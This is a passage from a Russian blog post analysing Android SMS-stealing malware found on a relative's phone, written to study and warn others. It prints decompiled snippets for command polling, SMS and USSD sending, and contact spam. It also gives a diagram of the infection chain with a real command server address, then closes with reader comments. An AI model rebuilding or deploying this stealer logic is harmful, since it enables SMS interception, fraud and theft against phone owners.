POIX1UVS21.java:470-495 — sendPing():
JSONObject status = new JSONObject(); status.put("screen_on", powerManager.isInteractive()); status.put("battery", batteryPct); status.put("is_sms_default", isSmsDefault()); status.put("has_sms_perm", hasSmsPerm());
Получение и выполнение команд
POIX1UVS21.java:381-402 — checkCommands():
String response = Http.m843j(context, panelUrl + "/store/order/" + params); m912m(response); // парсинг команд
POIX1UVS21.java:211-227 — m912m():
JSONObject cmd = new JSONObject(response); // Команда 1: отправить SMS if (cmd.has("phone_number") && cmd.has("sms_text")) { m914o(cmd.getString("phone_number"), cmd.getString("sms_text")); } // Команда 2: USSD-запрос if (cmd.has("ussd_code")) { m916q(cmd.getString("ussd_code")); } // Команда 3: спам по контактам if (cmd.has("spam_contacts") && cmd.has("spam_text")) { m918s(cmd.getString("spam_text")); // отправляет SMS всем контактам }
USSD-команды
POIX1UVS21.java:277-303 — m916q():
telephonyManager.sendUssdRequest(ussdCode, new TelephonyManager.UssdResponseCallback() { public void onReceiveUssdResponse(...) { m917r(ussdCode, ussdResponseMessage); // отправка ответа на сервер } }, new Handler(Looper.getMainLooper()));
Спам по контактам
POIX1UVS21.java:331-344 и POIX1UVS21.java:199:
Код
Cursor cursor = getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, ...); for (cursor) { String phone = cursor.getString(...); smsManager.sendTextMessage(phone, null, spamText, null, null); }
Ну и в конце попросим ИИ создать диаграмму с выполнением:
Диаграмма от ИИ
┌─────────────────────────────────────────┐ │ ЖЕРТВА УСТАНАВЛИВАЕТ │ │ Фото(3).apk │ └────────────┬────────────────────────────┘ │ ▼ ┌───────────────────────────────────────────────────┐ │ Шаг 1: СТАБ-ЗАГРУЗЧИК │ │ Laed1011QFmO.attachBaseContext() │ │ ├─ Копирует DycyX.mb из assets │ │ ├─ Отрезает фейковый zlib-заголовок (2 байта) │ │ └─ Загружает payload.dex через BaseDexClassLoader │ └───────────────────┬───────────────────────────────┘ │ ▼ ┌───────────────────────────────────────────────────┐ │ Шаг 2: ИНИЦИАЛИЗАЦИЯ │ │ MainActivity.onCreate() │ │ ├─ Прячет приложение из Recent Apps │ │ ├─ Запрашивает роль "SMS-обработчик по умолчанию" │ │ ├─ Открывает WebView с фишинг-страницей │ │ └─ Запускает сервисы POIX1UVS20 + POIX1UVS21 │ └───────────────────┬───────────────────────────────┘ │ ▼ ┌───────────────────────────────────────────────────┐ │ Шаг 3: BOOTSTRAP C2 │ │ C0717c.m934c() │ │ ├─ GET http://176.124.222.81:80/cdn/nodes │ │ └─ Сохраняет список серверов в SharedPreferences │ └───────────────────┬───────────────────────────────┘ │ ▼ ┌───────────────────────────────────────────────────┐ │ Шаг 4: СБОР ДАННЫХ (POIX1UVS19) │ │ ├─ SMS-архив: 200 входящих + 100 исходящих │ │ ├─ Установленные банковские приложения (22 шт.) │ │ ├─ Номера телефонов с SIM-карт │ │ └─ POST /store/checkout (FenrirCrypto) │ └───────────────────┬───────────────────────────────┘ │ ▼ ┌───────────────────────────────────────────────────┐ │ Шаг 5: ПЕРЕХВАТ SMS (POIX1UVS16) │ │ ├─ priority=2147483647 (макс.) │ │ ├─ Перехватывает ВСЕ входящие SMS │ │ └─ POST /media/uplaad (FenrirCrypto) │ └───────────────────┬───────────────────────────────┘ │ ▼ ┌───────────────────────────────────────────────────┐ │ Шаг 6: C2-КОМАНДЫ (POIX1UVS21) │ │ ├─ GET /store/order/ — команды сервера │ │ ├─ Отправка SMS на указанный номер │ │ ├─ USSD-запросы (проверка баланса) │ │ ├─ Спам по контактам │ │ └─ Пинг статуса устройства │ └───────────────────────────────────────────────────┘
Заключение
Что хотелось бы сказать в конце.
Прошивать Huawei на чистую систему я не буду, потому что есть вероятность убить загрузчик (на 4pda есть инструкции, но если сделать не правильно, то телефон не запустится из-за "гибридной структуры" памяти телефона), хотя телефон папе этот больше нравится - батарейку лучше держит (логично - Google сервисов нет).
Использование ИИ очень помогает в иследовании - я оформлял статью больше по времени, чем мне OpenCode генерировал скрипты. Я выявил всё, что хотел - сервер, функции - этого мне было достаточно.
Про пароли я упомянул в самом начале, так же не забудьте поставь родственникам антивирус на смартфоны под управлением Android (хотя как мы видим, не всегда это может помочь). Надеюсь вам было интересно и если кому-то нужно, то могу выложить все файлы на Github - для исследования так сказать. Берегите себя и своих близких)
zarazaexe
повезло что его сервера подохли, но более интересно было бы узнать кто вообще его создал
kenomimi
Школота вставила в админку свою вайфу, обычное дело. В древние годы школоло, когда еще трогал РНР, точно так же вставлял вайфу во всякие заказные скрипты - заказчику пофиг же.
Bizonozubr Автор
Интересный вопрос, но тут уже мастодонты ИБ индустрии может расскажут. Тем более, если есть рынок продажи через телегу (хотя там тоже наверное через посредников), то может ещё и через разные хакерские форумы производства/распространения малвари можно будет найти разработчика.